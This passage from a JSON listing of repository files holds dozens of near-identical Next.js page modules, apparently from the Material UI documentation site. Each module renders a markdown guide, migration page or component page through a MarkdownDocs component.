    "path": "docs/pages/material-ui/guides/testing.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/guides/testing/testing.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/guides/typescript.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/guides/typescript/typescript.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/icons.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/icons/icons.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/integrations/interoperability.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/integrations/interoperability/interoperability.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/integrations/nextjs.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/integrations/nextjs/nextjs.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/integrations/routing.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/integrations/routing/routing.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/integrations/styled-components.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/integrations/styled-components/styled-components.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/integrations/tailwindcss/tailwindcss-v4.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/integrations/tailwindcss/tailwindcss-v4.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/integrations/theme-scoping.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/integrations/theme-scoping/theme-scoping.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/material-icons.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/material-icons/material-icons.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} disableToc />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/migration/migrating-from-deprecated-apis.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/migration/migrating-from-deprecated-apis/migrating-from-deprecated-apis.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/migration/migrating-from-jss.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/migration/migration-v4/migrating-from-jss.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/migration/migrating-to-pigment-css.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/migration/upgrade-to-v6/migrating-to-pigment-css.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/migration/migration-v0x.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/migration/migration-v0x/migration-v0x.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/migration/migration-v3.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/migration/migration-v3/migration-v3.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/migration/migration-v4.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/migration/migration-v4/migration-v4.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/migration/pickers-migration.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/migration/pickers-migration/pickers-migration.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/migration/troubleshooting.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/migration/migration-v4/troubleshooting.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/migration/upgrade-to-grid-v2.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/migration/upgrade-to-grid-v2/upgrade-to-grid-v2.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/migration/upgrade-to-native-color.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/migration/upgrade-to-v7/upgrade-to-native-color.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/migration/upgrade-to-v6.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/migration/upgrade-to-v6/upgrade-to-v6.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/migration/upgrade-to-v7.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/migration/upgrade-to-v7/upgrade-to-v7.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/migration/upgrade-to-v9.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/migration/upgrade-to-v9/upgrade-to-v9.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/migration/v5-component-changes.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/migration/migration-v4/v5-component-changes.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/migration/v5-style-changes.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/migration/migration-v4/v5-style-changes.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/migration/v7/migrating-from-deprecated-apis.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/migration/upgrade-to-v7/migrating-from-deprecated-apis.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/react-accordion.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/accordion/accordion.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-alert.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/alert/alert.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-app-bar.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/app-bar/app-bar.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-autocomplete.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/autocomplete/autocomplete.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-avatar.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/avatars/avatars.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-backdrop.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/backdrop/backdrop.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-badge.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/badges/badges.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-bottom-navigation.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/bottom-navigation/bottom-navigation.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-box.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/box/box.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-breadcrumbs.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/breadcrumbs/breadcrumbs.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-button-group.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/button-group/button-group.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-button.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/buttons/buttons.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-card.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/cards/cards.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-checkbox.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/checkboxes/checkboxes.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-chip.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/chips/chips.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-click-away-listener.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/click-away-listener/click-away-listener.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-container.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/container/container.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-css-baseline.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/css-baseline/css-baseline.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-dialog.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/dialogs/dialogs.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-divider.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/dividers/dividers.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-drawer.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/drawers/drawers.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-floating-action-button.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/floating-action-button/floating-action-button.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-grid.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/grid/grid.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-image-list.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/image-list/image-list.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-init-color-scheme-script.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/init-color-scheme-script/init-color-scheme-script.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-link.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/links/links.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-list.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/lists/lists.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-masonry.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/masonry/masonry.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-menu.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/menus/menus.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-menubar.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/menubar/menubar.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-modal.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/modal/modal.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-no-ssr.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/no-ssr/no-ssr.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-number-field.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/number-field/number-field.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-pagination.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/pagination/pagination.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-paper.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/paper/paper.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-popover.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/popover/popover.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-popper.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/popper/popper.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-portal.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/portal/portal.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-progress.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/progress/progress.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-radio-button.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/radio-buttons/radio-buttons.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-rating.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/rating/rating.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-select.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/selects/selects.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-skeleton.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/skeleton/skeleton.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-slider.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/slider/slider.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-snackbar.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/snackbars/snackbars.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-speed-dial.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/speed-dial/speed-dial.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-stack.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/stack/stack.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-stepper.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocsV2';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport * as pageProps from 'docs/data/material/components/steppers/steppers.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n\nPage.getLayout = (page) => {\n  return <AppFrame>{page}</AppFrame>;\n};\n"
  },
  {
    "path": "docs/pages/material-ui/react-switch.js",
